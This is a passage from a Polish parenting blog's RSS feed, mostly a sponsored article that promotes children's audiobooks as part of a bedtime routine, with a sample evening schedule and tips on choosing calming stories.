2282. <a href="https://przystanekrodzinka.pl/adhd-jak-to-ogarnac-sprawdzone-lifehacki-dla-nastolatkow-przewodnik-po-odkrywaniu-wlasnej-neuroroznorodnosci/" target="_self" rel="bookmark noopener noreferrer">&#8220;ADHD. Jak to ogarnąć. Sprawdzone lifehacki dla nastolatków&#8221; &#8211; przewodnik po odkrywaniu własnej neuroróżnorodności</a>
2283. </h4>
2284. <div class='uagb-post__text uagb-post-grid-byline'>
2285. </div>
2286. <div class="uagb-post__text uagb-post__cta wp-block-button">
2287. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-jak-to-ogarnac-sprawdzone-lifehacki-dla-nastolatkow-przewodnik-po-odkrywaniu-wlasnej-neuroroznorodnosci/" target="_self" rel="bookmark noopener noreferrer">Read More</a>
2288. </div>
2290. </article>
2291. </div>
2293.  
2294.  
2295. <figure class="wp-block-image aligncenter size-large"><a href="https://przystanekrodzinka.pl/dziecieca-ciekawosc/"><img loading="lazy" decoding="async" width="1024" height="499" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg" alt="Dziecieca ciekawosc blok 1" class="wp-image-74388" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-300x146.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-768x374.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1536x749.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2.jpg 1680w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
2296.  
2297.  
2298.  
2299. <figure class="wp-block-image aligncenter size-large"><a href="https://www.instagram.com/przystanekrodzinka/"><img loading="lazy" decoding="async" width="1024" height="409" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg" alt="obserwuj przystanek rodzinka instagram 2" class="wp-image-74387" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-300x120.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-768x307.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1536x613.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
2300.  
2301.  
2302.  
2303. <figure class="wp-block-image aligncenter size-large"><a href="https://www.facebook.com/przystanekrodzinka/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="449" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg" alt="polub przystanek rodzinka facebook" class="wp-image-21763" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-300x132.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-768x337.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1536x674.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
2304. <p>Artykuł <a href="https://przystanekrodzinka.pl/co-ma-piernik-do-wiatraka-i-inne-jezykowe-rozkminy/">„Co ma piernik do wiatraka i inne językowe rozkminy&#8221; – wielka frazeologiczna podróż po polszczyźnie, która nie zostawi suchej nitki na językowych tajemnicach</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
2305. ]]></content:encoded>
2309. </item>
2310. <item>
2311. <title>Wieczorna rutyna z bajką? Rodzice mają sposób na spokojniejsze noce</title>
2312. <link>https://przystanekrodzinka.pl/wieczorna-rutyna-z-bajka-rodzice-maja-sposob-na-spokojniejsze-noce/</link>
2314. <dc:creator><![CDATA[adm1n]]></dc:creator>
2315. <pubDate>Fri, 31 Oct 2025 07:58:23 +0000</pubDate>
2316. <category><![CDATA[Promocja]]></category>
2317. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=86726</guid>
2318.  
2319. <description><![CDATA[<p>Wieczór. Godzina 20:30. Dzieci wciąż biegają po mieszkaniu, ty ledwo [&#8230;]</p>
2320. <p>Artykuł <a href="https://przystanekrodzinka.pl/wieczorna-rutyna-z-bajka-rodzice-maja-sposob-na-spokojniejsze-noce/">Wieczorna rutyna z bajką? Rodzice mają sposób na spokojniejsze noce</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
2321. ]]></description>
2322. <content:encoded><![CDATA[
2323. <p>Wieczór. Godzina 20:30. Dzieci wciąż biegają po mieszkaniu, ty ledwo stoisz na nogach po całym dniu, a myśl o tym, że powinnaś jeszcze poczytać im bajkę przed snem wywołuje u ciebie wyrzuty sumienia. Znasz to uczucie?</p>
2324.  
2325.  
2326.  
2327. <p>Z jednej strony – wszyscy eksperci powtarzają, jak ważne są wieczorne rytuały i czytanie dzieciom. Z drugiej – twój głos ledwo działa po dziesięciu godzinach spotkań, gotowania, sprzątania i odpowiadania na setne &#8220;dlaczego?&#8221;. A tablet z YouTube stoi w kącie i kusi prostotą, choć doskonale wiesz, że to nie jest rozwiązanie, którego szukasz.</p>
2328.  
2329.  
2330.  
2331. <p>Co jeśli powiedziałabym ci, że istnieje sposób na to, by wieczory stały się spokojniejsze, dzieci same prosiły o &#8220;pójście do łóżka&#8221;, a ty w końcu mogłaś poczuć, że jesteś dobrą mamą – bez wyczerpującego czytania na głos i bez ekranowego uzależnienia?</p>
2332.  
2333.  
2334.  
2335. <p>Tysiące polskich rodziców odkryło prosty trik: wieczorną rutynę z bajką audio. Nie chodzi tu o byle jakie nagrania z YouTube, ale profesjonalnie przygotowane <a href="https://audioteka.com/pl/katalog/dla-dzieci/">audiobaśnie</a>, które działają jak magiczny przycisk &#8220;uspokój&#8221; dla dziecięcego umysłu. Efekt? Dzieci rzeczywiście zasną szybciej, a ty zyskasz upragnioną chwilę dla siebie. Brzmi jak marzenie? To działająca rzeczywistość, którą możesz wdrożyć już dziś wieczorem.</p>
2336.  
2337.  
2338.  
2339. <h2 class="wp-block-heading">Dlaczego wieczorna rutyna z bajką zmienia życie zapracowanych rodziców?</h2>
2340.  
2341.  
2342.  
2343. <p>Pomyśl o wieczornej rutynie nie jak o kolejnym obowiązku na twojej liście, ale jak o tajnym porozumieniu między tobą a dziećmi. O znaku, który mówi: &#8220;OK, świat zwalnia, czas na odpoczynek&#8221;. Audiobajka jest w tym układzie kluczowym elementem, który sprawia, że wszystko zaczyna działać.</p>
2344.  
2345.  
2346.  
2347. <p>Dla dziecka, które przez cały dzień jest bombardowane bodźcami, opowieść słuchana w półmroku działa jak balsam. Zamiast rozpraszających obrazów z ekranu, które pobudzają mózg, spokojny głos lektora i fabuła angażują wyobraźnię w zupełnie inny, wyciszający sposób. To sygnał dla rozbieganego umysłu: &#8220;Hej, już nie musisz być w gotowości. Teraz płyniemy do krainy snów&#8221;.</p>
2348.  
2349.  
2350.  
2351. <p>To nie tylko nasze przeczucia. Badania przytoczone przez Amerykańską Akademię Medycyny Snu są jednoznaczne: dzieci, które mają stały wieczorny rytuał, śpią średnio o godzinę dłużej niż ich rówieśnicy bez takiej rutyny. Wyobrażasz sobie, co mogłabyś zrobić z dodatkową godziną spokoju każdego wieczoru?</p>
2352.  
2353.  
2354.  
2355. <p>A teraz spójrzmy na to z twojej perspektywy. Zamiast negocjować, prosić i walczyć o to, by dzieci w końcu położyły się do łóżek, nagle masz sojusznika. Dzieci same zaczynają się domagać swojej porcji opowieści, bo kojarzą ją z przyjemnością i bliskością – nawet jeśli ty w tym czasie leżysz obok i po prostu oddychasz.</p>
2356.  
2357.  
2358.  
2359. <p>Audiobajka to idealny &#8220;złoty środek&#8221;, który uwalnia cię od poczucia winy. Z jednej strony wiesz, że nie serwujesz dziecku bezwartościowych treści z tabletu. Z drugiej – dajesz sobie prawo do odpoczynku, gdy twój głos odmawia posłuszeństwa. To rozwiązanie, w którym wszyscy wygrywają.</p>
2360.  
2361.  
2362.  
2363. <p>Badania pokazują, że aż 92% rodziców czyta swoim dzieciom, bo intuicyjnie czujemy, jak to jest ważne dla ich rozwoju. Profesjonalna audiobajka dostarcza tych samych korzyści – rozwija słownictwo, pobudza kreatywność i uczy empatii – ale zdejmuje z ciebie ciężar bycia lektorem, gdy marzysz tylko o ciszy. W skrócie, zyskujesz:</p>
2364.  
2365.  
2366.  
2367. <ul class="wp-block-list">
2368. <li><strong>Koniec z walką o sen.</strong> Dzieci chętniej idą do łóżka, bo czeka tam na nie ulubiona historia.</li>
2369.  
2370.  
2371.  
2372. <li><strong>Odzyskany czas dla siebie.</strong> Zamiast czytać przez 30 minut, możesz po prostu być obok, przytulić się i sama się zrelaksować.</li>
2373.  
2374.  
2375.  
2376. <li><strong>Zero wyrzutów sumienia.</strong> Dajesz dziecku wartościową treść, która stymuluje jego rozwój, a nie tylko bezmyślnie zajmuje czas.</li>
2377. </ul>
2378.  
2379.  
2380.  
2381. <p>To nie jest magiczna sztuczka, ale prosta zmiana, która przestawia zwrotnicę z wieczornego chaosu na tory spokoju i przewidywalności.</p>
2382.  
2383.  
2384.  
2385. <h3 class="wp-block-heading">Koniec z poczuciem winy &#8211; dlaczego audiobooki to nie jest &#8216;lenistwo rodzicielskie&#8217;</h3>
2386.  
2387.  
2388.  
2389. <p>Bo co, jeśli w głowie kołacze ci myśl: „Czy puszczanie bajki z głośnika to nie jest pójście na łatwiznę? Czy to nie jest jakaś forma cyfrowego smoczka, tylko w wersji audio?”.</p>
2390.  
2391.  
2392.  
2393. <p>Odpowiedź brzmi: absolutnie nie. Audiobajka to nie jest zwolnienie z rodzicielskich obowiązków, ale zatrudnienie najlepszego trenera dla dziecięcej wyobraźni. Kiedy dziecko patrzy na ekran, jego mózg dostaje gotowe obrazy – postacie, tła, kolory. Jest pasywnym odbiorcą. Kiedy słucha opowieści, musi te wszystkie elementy stworzyć samo. W jego głowie powstaje cały świat, od wyglądu księżniczki po zapach lasu, w którym się zgubiła. To jest prawdziwy trening kreatywności i koncentracji.</p>
2394.  
2395.  
2396.  
2397. <p>To trend, który potwierdzają twarde dane. Według raportu PMR, rynek audiobooków w Polsce rośnie w siłę, a w aplikacji Empik Go w 2024 roku treści audio stanowiły już 51% konsumpcji, niemal zrównując się z ebookami. Tysiące rodziców świadomie wybiera tę formę, traktując ją jako pełnoprawny i wartościowy sposób na kontakt dziecka z literaturą. To już nie jest niszowa ciekawostka, ale mainstreamowy element kultury.</p>
2398.  
2399.  
2400.  
2401. <p>Wprowadzenie audiobajki nie oznacza, że rezygnujesz z bliskości. Wręcz przeciwnie – zyskujesz szansę na bliskość bez presji. Możesz leżeć obok, trzymać dziecko za rękę, głaskać po włosach i wspólnie zanurzać się w opowieści. Dzielicie to samo doświadczenie, ale bez wysiłku z twojej strony.</p>
2402.  
2403.  
2404.  
2405. <p>To nie jest „lenistwo rodzicielskie”, a „rodzicielstwo strategiczne”. Wybierasz narzędzie, które wspiera rozwój twojego dziecka, a jednocześnie pozwala tobie naładować baterie.</p>
2406.  
2407.  
2408.  
2409. <h2 class="wp-block-heading">Jak stworzyć idealną wieczorną rutynę z audiobajką krok po kroku?</h2>
2410.  
2411.  
2412.  
2413. <p><strong>Krok 1: Wyznacz „godzinę zero” i trzymaj się jej (w miarę możliwości)</strong></p>
2414.  
2415.  
2416.  
2417. <p>Kluczem jest&nbsp;<strong>spójność</strong>. Dziecięcy organizm kocha rutynę, bo daje mu poczucie bezpieczeństwa. Wybierz stałą porę, o której zaczynacie &#8220;operację wyciszanie&#8221; – na przykład godzinę przed planowanym snem. To sygnał dla mózgu dziecka, że pas startowy do krainy snów jest już przygotowywany.</p>
2418.  
2419.  
2420.  
2421. <p>Nie chodzi o wojskowy rygor. Jeśli jednego dnia coś wypadnie i zaczniecie 15 minut później, świat się nie zawali. Ważne, by trzymać się ram czasowych, które staną się dla dziecka przewidywalne.</p>
2422.  
2423.  
2424.  
2425. <p><strong>Krok 2: Zbuduj atmosferę – stwórz wasze „gniazdko”</strong></p>
2426.  
2427.  
2428.  
2429. <p>Zanim włączysz bajkę, musisz wyciszyć otoczenie. Pomyśl o tym jak o ściemnianiu świateł w teatrze tuż przed spektaklem. Co to oznacza w praktyce?</p>
2430.  
2431.  
2432.  
2433. <ul class="wp-block-list">
2434. <li><strong>Przygaś światła:</strong> Zamiast ostrego, górnego oświetlenia, włącz lampkę nocną.</li>
2435.  
2436.  
2437.  
2438. <li><strong>Posprzątaj scenę:</strong> Schowajcie razem głośne, grające zabawki. Niech na widoku zostaną tylko przytulanki i książki.</li>
2439.  
2440.  
2441.  
2442. <li><strong>Zadbaj o komfort:</strong> Ciepła kąpiel, wygodna piżama, umyte zęby – to wszystko elementy, które fizycznie przygotowują ciało do odpoczynku.</li>
2443. </ul>
2444.  
2445.  
2446.  
2447. <p>Dopiero w tak przygotowanym „gniazdku” audiobajka może zadziałać swoją magię.</p>
2448.  
2449.  
2450.  
2451. <p><strong>Krok 3: Wybierz bajkę mądrze – nie każda historia usypia</strong></p>
2452.  
2453.  
2454.  
2455. <p>Wybór opowieści ma ogromne znaczenie. Dynamiczna bajka o superbohaterach walczących ze smokami może i jest fajna, ale przed snem zadziała jak podwójne espresso. Szukaj historii, które są:</p>
2456.  
2457.  
2458.  
2459. <ul class="wp-block-list">
2460. <li><strong>Spokojne i kojące:</strong> Fabuła powinna płynąć łagodnie, bez nagłych zwrotów akcji i przerażających momentów.</li>
2461.  
2462.  
2463.  
2464. <li><strong>Odpowiedniej długości:</strong> Dla przedszkolaka w wieku 3-6 lat idealna będzie bajka trwająca 15-25 minut. Wystarczająco długa, by się wyciszyć, ale nie tak długa, by dziecko zasnęło w połowie i obudziło się z poczuciem niedosytu.</li>
2465. </ul>
2466.  
2467.  
2468.  
2469. <p><strong>Przykładowy harmonogram wieczorny dla przedszkolaka (3-6 lat):</strong></p>
2470.  
2471.  
2472.  
2473. <ul class="wp-block-list">
2474. <li><strong>19:30 – Operacja „Zwalniamy Obroty”</strong>: Koniec szalonych zabaw. Czas na puzzle, rysowanie albo układanie klocków. Światła w pokoju są już lekko przygaszone.</li>
2475.  
2476.  
2477.  
2478. <li><strong>19:50 – Ciepła Kąpiel i Piżama Party</strong>: Relaksująca kąpiel to świetny sposób na rozluźnienie mięśni. Potem ubieranie ulubionej piżamy.</li>
2479.  
2480.  
2481.  
2482. <li><strong>20:10 – Ostatnie Przygotowania do Lotu</strong>: Mycie zębów, siusiu, ostatni łyk wody. Wszystko odbywa się już w sypialni, w spokojnej atmosferze.</li>
2483.  
2484.  
2485.  
2486. <li><strong>20:15 – Startujemy do Krainy Baśni</strong>: Kładziecie się razem do łóżka. Włączasz audiobajkę. Ty leżysz obok, przytulasz, głaszczesz. Nie musisz nic mówić, po prostu jesteś.</li>
2487.  
2488.  
2489.  
2490. <li><strong>ok. 20:35 – Miękkie Lądowanie</strong>: Bajka się kończy. Dajesz buziaka na dobranoc, szepczesz &#8220;kocham cię&#8221; i wychodzisz (lub zostajesz, dopóki maluch nie zaśnie).</li>
2491. </ul>
2492.  
2493.  
2494.  
2495. <p></p>
2496.  
2497.  
2498.  
2499. <h3 class="wp-block-heading">O której godzinie rozpocząć słuchanie bajki dla maksymalnego efektu?</h3>
2500.  
2501.  
2502.  
2503. <p>Czy jest jakaś idealna, magiczna godzina, która gwarantuje sukces? I tak, i nie. Zamiast szukać uniwersalnej odpowiedzi na forum dla mam, pomyśl o tym jak o dopasowaniu klucza do zamka. Każde dziecko ma swój własny, unikalny zamek.</p>
2504.  
2505.  
2506.  
2507. <p>Zapomnij o konkretnej godzinie na zegarku, a zacznij myśleć w kategoriach&nbsp;<strong>„okna wyciszenia”</strong>. Dziecięcy mózg po całym dniu jest jak rozpędzony pociąg. Nie zatrzymasz go w miejscu, wciskając nagle hamulec. Musisz zacząć zwalniać znacznie wcześniej, żeby łagodnie wjechał na stację „Sen”. Audiobajka to właśnie ten moment, w którym maszynista (czyli ty) przełącza zwrotnicę na boczny, spokojny tor.</p>
2508.  
2509.  
2510.  
2511. <p>Zasadniczo, kluczem jest praca wstecz. Jeśli wiesz, że twoje dziecko funkcjonuje najlepiej, gdy śpi około 21:00, a bajka trwa 20 minut, to nie włączaj jej o 20:55. To za późno. Zastosuj prostą zasadę:</p>
2512.  
2513.  
2514.  
2515. <p><strong>[Docelowa godzina snu] &#8211; [Czas na wyciszenie po bajce, ok. 15-30 min] &#8211; [Długość bajki] = [Godzina startu bajki]</strong></p>
2516.  
2517.  
2518.  
2519. <p>Na przykład: celujemy w sen o 21:00. Dziecko potrzebuje kwadransa, żeby po opowieści spokojnie &#8220;odpłynąć&#8221;. Bajka trwa 20 minut. Prosta matematyka mówi nam, że powinniście zacząć słuchać około 20:25.</p>
2520.  
2521.  
2522.  
2523. <p>Jeśli zaczniesz za wcześnie, gdy dziecko jest jeszcze w pełni sił, bajka może go nie wyciszyć, a po jej zakończeniu może złapać „drugi oddech”. Jeśli zaczniesz za późno, trafisz na moment, gdy jest już przemęczone, rozdrażnione i żadna, nawet najpiękniejsza historia nie będzie w stanie przebić się przez jego frustrację.</p>
2524.  
2525.  
2526.  
2527. <p>Kluczem jest&nbsp;<strong>obserwacja</strong>. Twoje dziecko jest najlepszym zegarem. Zobacz, kiedy zaczyna ziewać, trzeć oczy, staje się marudne. To właśnie sygnał, że wasze „okno wyciszenia” właśnie się otwiera i to idealny moment, by wcisnąć „play”.</p>
2528.  
2529.  
2530.  
2531. <h2 class="wp-block-heading">Najlepsze rodzaje bajek audio na spokojny sen &#8211; przewodnik po gatunkach</h2>
2532.  
2533.  
2534.  
2535. <p>Wybór odpowiedniej bajki na dobranoc to trochę jak wybór wieczornej przekąski dla dziecka. Nie podasz mu przecież tabliczki czekolady i napoju energetycznego, prawda? Podobnie jest z opowieściami – niektóre pobudzają jak cukier, a inne otulają jak ciepłe mleko. Kluczem jest znalezienie tych drugich.</p>
2536.  
2537.  
2538.  
2539. <p>Oto krótki przewodnik po gatunkach, które działają jak balsam na rozbieganą dziecięcą głowę, oraz tych, których lepiej unikać po zmroku.</p>
2540.  
2541.  
2542.  
2543. <h3 class="wp-block-heading">Co działa jak kołysanka dla wyobraźni? (Szukaj tych!)</h3>
2544.  
2545.  
2546.  
2547. <ul class="wp-block-list">
2548. <li><strong>Bajki-relaksacje i medytacje dla dzieci:</strong> To absolutny hit i tajna broń w walce o spokojny wieczór. Zamiast skomplikowanej fabuły, skupiają się na prowadzeniu dziecka przez kojące obrazy – podróż na chmurce, spacer po cichym lesie, rozmowa z sennym misiem. Często mają w tle delikatną muzykę lub dźwięki natury. To nie przypadek, że specjaliści polecają audiobooki o spokojnej narracji i umiarkowanym tempie jako technikę wyciszania umysłu. Pomagają one w naturalnym zasypianiu bez szkodliwej ekspozycji na niebieskie światło ekranów.</li>
2549.  
2550.  
2551.  
2552. <li><strong>Klasyczne baśnie, ale w wersji &#8220;light&#8221;:</strong> Opowieści o Czerwonym Kapturku czy Kopciuszku są wspaniałe, ale wybieraj wersje, w których wilk nie zjada babci w całości, a zła macocha nie kończy w rozgrzanych do czerwoności butach. Szukaj adaptacji z łagodnym, ciepłym głosem lektora i fabułą pozbawioną najbardziej drastycznych momentów.</li>
2553.  
2554.  
2555.  
2556. <li><strong>Historie z życia wzięte (o spokojnym zabarwieniu):</strong> Opowieści o codziennych, przewidywalnych zdarzeniach dają dziecku ogromne poczucie bezpieczeństwa. Bajka o tym, jak mały miś spędził dzień w przedszkolu, a teraz szykuje się do snu, albo o kotku, który szuka najwygodniejszego miejsca na drzemkę, działają niesamowicie kojąco.</li>
2557. </ul>
2558.  
2559.  
2560.  
2561. <p></p>
2562.  
2563.  
2564.  
2565. <h3 class="wp-block-heading">Czego unikać jak ognia przed snem? (Zostaw to na popołudnie!)</h3>
2566.  
2567.  
2568.  
2569. <ul class="wp-block-list">
2570. <li><strong>Bajki pełne akcji i przygód:</strong> Superbohaterowie ratujący galaktykę, piraci szukający skarbów czy rycerze walczący ze smokami – to wszystko jest super, ale w ciągu dnia. Wieczorem taka dawka adrenaliny sprawi, że zamiast zasypiać, dziecko będzie gotowe do odgrywania scen walki na własnym łóżku.</li>
2571.  
2572.  
2573.  
2574. <li><strong>Historie z elementami strachu i napięcia:</strong> Dziecięca wyobraźnia w ciemności pracuje na najwyższych obrotach. Nawet pozornie niewinna opowieść o potworku chowającym się pod łóżkiem może stać się paliwem dla nocnych lęków. Unikaj bajek, w których bohater jest w niebezpieczeństwie, gubi się lub spotyka złe postacie.</li>
2575.  
2576.  
2577.  
2578. <li><strong>Słuchowiska z natłokiem efektów dźwiękowych:</strong> Głośna muzyka, wybuchy, piski i dynamiczne dialogi wielu postaci działają na mózg jak zaproszenie do zabawy, a nie do odpoczynku. Szukajcie opowieści z jednym, spokojnym lektorem i ewentualnie delikatnym, instrumentalnym tłem.</li>
2579. </ul>
2580.  
2581.  
2582.  
2583. <p><strong>Złota zasada jest prosta:</strong>&nbsp;Jeśli fabuła sprawia, że ty sama masz ochotę podskoczyć z ekscytacji – zostaw ją na jutro. Jeśli słuchając, czujesz, że twoje powieki same opadają, a oddech zwalnia – to jest strzał w dziesiątkę na dzisiejszy wieczór.</p>
2584.  
2585.  
2586.  
2587. <h3 class="wp-block-heading">Bajki relaksacyjne vs klasyczne baśnie &#8211; co lepiej wycisza dziecko?</h3>
2588.  
2589.  
2590.  
2591. <p>Wyobraź sobie, że klasyczna baśń to pełna przygód wyprawa w góry, a bajka relaksacyjna to spokojne dryfowanie na materacu po cichym jeziorze. Obie opcje są wspaniałe, ale służą zupełnie innym celom. A wieczorem, naszym celem jest łagodne dobicie do brzegu Krainy Snów, a nie zdobywanie kolejnego szczytu.</p>
2592.  
2593.  
2594.  
2595. <p>Klasyczne baśnie, nawet te w najłagodniejszej wersji, mają wbudowany&nbsp;<strong>mechanizm napięcia</strong>. Jest w nich problem do rozwiązania (Kopciuszek musi dotrzeć na bal), przeszkoda do pokonania (Jaś i Małgosia muszą uciec od czarownicy) i finał, na który dziecko z zapartym tchem czeka. To angażuje analityczną część mózgu, która myśli: &#8220;Co będzie dalej?&#8221;. Taka historia jest świetna na deszczowe popołudnie, ale wieczorem może niechcący podtrzymywać umysł w stanie gotowości.</p>
2596.  
2597.  
2598.  
2599. <ul class="wp-block-list">
2600. <li><strong>Dla kogo?</strong> Dla dzieci, które potrzebują fabuły, by się skupić, ale generalnie łatwo się wyciszają.</li>
2601.  
2602.  
2603.  
2604. <li><strong>Przykład:</strong> Łagodna wersja opowieści o &#8220;Złotowłosej i trzech misiach&#8221; (długość ok. 15-20 minut), gdzie konflikt jest minimalny, a historia skupia się na opisie domu i przedmiotów.</li>
2605. </ul>
2606.  
2607.  
2608.  
2609. <p>Z drugiej strony mamy&nbsp;<strong>bajki relaksacyjne</strong>. Ich celem nie jest opowiedzenie historii z punktu A do punktu B. Ich celem jest stworzenie stanu. Działają jak prowadzona medytacja, w której spokojny głos lektora zabiera dziecko w sensoryczną podróż. Nie ma tu zagadek do rozwiązania, jest za to skupienie na oddechu, na uczuciu ciepła i bezpieczeństwa.</p>
2610.  
2611.  
2612.  
2613. <p>Mózg dziecka, zamiast analizować fabułę, przełącza się na odbieranie bodźców: &#8220;Wyobraź sobie, że leżysz na miękkiej chmurce&#8230; czujesz, jak delikatnie unosi cię wiatr&#8230; jest cicho i ciepło&#8230;&#8221;. To bezpośrednie zaproszenie do rozluźnienia ciała i wyciszenia myśli.</p>
2614.  
2615.  
2616.  
2617. <ul class="wp-block-list">
2618. <li><strong>Dla kogo?</strong> Idealne dla dzieci pełnych energii, które mają problem z &#8220;wyłączeniem się&#8221; na koniec dnia.</li>
2619.  
2620.  
2621.  
2622. <li><strong>Przykład:</strong> Opowieść typu &#8220;Podróż na senną polanę&#8221; lub &#8220;Twój magiczny, bezpieczny ogród&#8221; (długość ok. 10-15 minut). Krótsza forma jest tu atutem – celem jest zaśnięcie, a nie dotrwanie do końca opowieści.</li>
2623. </ul>
2624.  
2625.  
2626.  
2627. <p>Werdykt? To nie zawody. Pomyśl o tym jak o swojej apteczce pierwszej pomocy. Klasyczna baśń to plasterek na nudę w ciągu dnia. Bajka relaksacyjna to kojący kompres na wieczorne &#8220;przebodźcowanie&#8221;. Jeśli twój maluch jest jak wulkan energii, postaw na relaksację. Jeśli jest raczej spokojnym obserwatorem, łagodna klasyka może być równie skuteczna. Najlepiej? Eksperymentuj i zobacz, po której opowieści oddech twojego dziecka staje się najspokojniejszy i najgłębszy.</p>
2628.  
2629.  
2630.  
2631. <h2 class="wp-block-heading">Jak audiobajki wspierają rozwój dziecka podczas snu?</h2>
2632.  
2633.  
2634.  
2635. <p>Czy myślałaś kiedyś o tym, co dzieje się w głowie twojego dziecka, gdy już zamknie oczy? Wbrew pozorom, mózg wcale nie przechodzi w tryb „off”. Wręcz przeciwnie – rozpoczyna intensywną nocną zmianę, podczas której porządkuje, naprawia i buduje. A audiobajka, której słuchało przed snem, jest dla niego jak instrukcja obsługi i dostawa najlepszych materiałów.</p>
2636.  
2637.  
2638.  
2639. <p>Pomyśl o tym w ten sposób: przez cały dzień do mózgu twojego dziecka wpadają tysiące informacji – nowe słowa, obrazy, emocje. To jak wielka, niezorganizowana dostawa do magazynu. Noc to czas, kiedy mali, niewidzialni pracownicy (neurony) zaczynają wszystko sortować. Opowieść usłyszana tuż przed snem jest jak przesyłka priorytetowa. Słowa, zwroty i idee z bajki są świeże i łatwo dostępne, dzięki czemu mózg chętniej je rozpakowuje i układa na odpowiednich półkach w &#8220;bibliotece pamięci&#8221;. Właśnie dlatego dzieci, które słuchają bajek, często zaskakują nowym, bogatszym słownictwem.</p>
2640.  
2641.  
2642.  
2643. <p>Ale to nie wszystko. Mózg w nocy, szczególnie w fazie snu REM, zajmuje się też czymś w rodzaju „emocjonalnego prania”. Przetwarza trudne uczucia i doświadczenia z minionego dnia – frustrację z przedszkola, kłótnię o zabawkę czy strach przed ciemnością. Spokojna, kojąca historia daje mu pozytywny materiał do pracy. Zamiast mielić w kółko negatywne emocje, mózg może zająć się przetwarzaniem opowieści o przyjaźni, odwadze czy bezpieczeństwie. To pomaga dziecku obudzić się rano bardziej zrównoważonym i wypoczętym emocjonalnie.</p>
2644.  
2645.  
2646.  
2647. <p>To ma też bardzo praktyczny wymiar, potwierdzony przez specjalistów od snu. Dziecięcy umysł, zamiast błądzić i podsuwać kolejne powody do niepokoju („a co jest pod łóżkiem?”), skupia się na łagodnym nurcie opowieści. To działa jak mentalna kotwica.&nbsp;<strong>Regularne słuchanie audiobajek przed snem może skracać czas zasypiania i poprawiać jakość snu dziecka przez wyciszenie oraz redukcję nocnych wybudzeń.</strong></p>
2648.  
2649.  
2650.  
2651. <p>Włączając audiobajkę, robisz więc coś więcej niż tylko usypiasz swoje dziecko. Dajesz jego mózgowi najlepsze narzędzia do nocnej pracy – budowania słownictwa, porządkowania emocji i utrwalania poczucia bezpieczeństwa. Podajesz mu nie tylko kołysankę, ale paliwo dla rozwijającego się umysłu.</p>
2652.  
2653.  
2654.  
2655. <h3 class="wp-block-heading">Rozwój wyobraźni bez ekranu &#8211; przewaga audio nad wideo</h3>
2656.  
2657.  
2658.  
2659. <p>To dwa zupełnie różne procesy, a różnica jest kluczowa. Wideo to gotowy posiłek podany na tacy. Audiobajka to skrzynka z najlepszymi składnikami i przepis, z których dziecko samo musi „ugotować” danie w swojej wyobraźni.</p>
2660.  
2661.  
2662.  
2663. <p>Gdy maluch ogląda film, jego mózg otrzymuje kompletny pakiet – obraz, dźwięk, ruch. Wszystko jest gotowe, podane i łatwe do przetworzenia. Oczywiście, to też jest jakaś forma nauki, ale dziecko jest głównie pasywnym odbiorcą. Mózg nie musi się wysilać, by wyobrazić sobie, jak wygląda zamek, bo widzi go na ekranie.</p>
2664.  
2665.  
2666.  
2667. <p>Mózg dostaje tylko słowa. Głos lektora mówi „wielki, mroczny las”, a w głowie twojego dziecka natychmiast rusza cała fabryka myśli. Każdy detal musi zostać stworzony od zera. To jest prawdziwy trening dla mózgu, angażujący obszary odpowiedzialne za kreatywność, pamięć i wizualizację, które przy biernym oglądaniu często po prostu drzemią.</p>
2668.  
2669.  
2670.  
2671. <p>To właśnie dlatego mówimy, że audiobooki budują wyobraźnię. Każda wysłuchana historia to dla mózgu mała siłownia. Dziecko ćwiczy tworzenie obrazów, postaci i całych światów z niczego. Ta umiejętność – wizualizowania tego, czego nie widać – jest fundamentem kreatywnego myślenia, które przyda mu się w szkole i w całym dorosłym życiu.</p>
2672.  
2673.  
2674.  
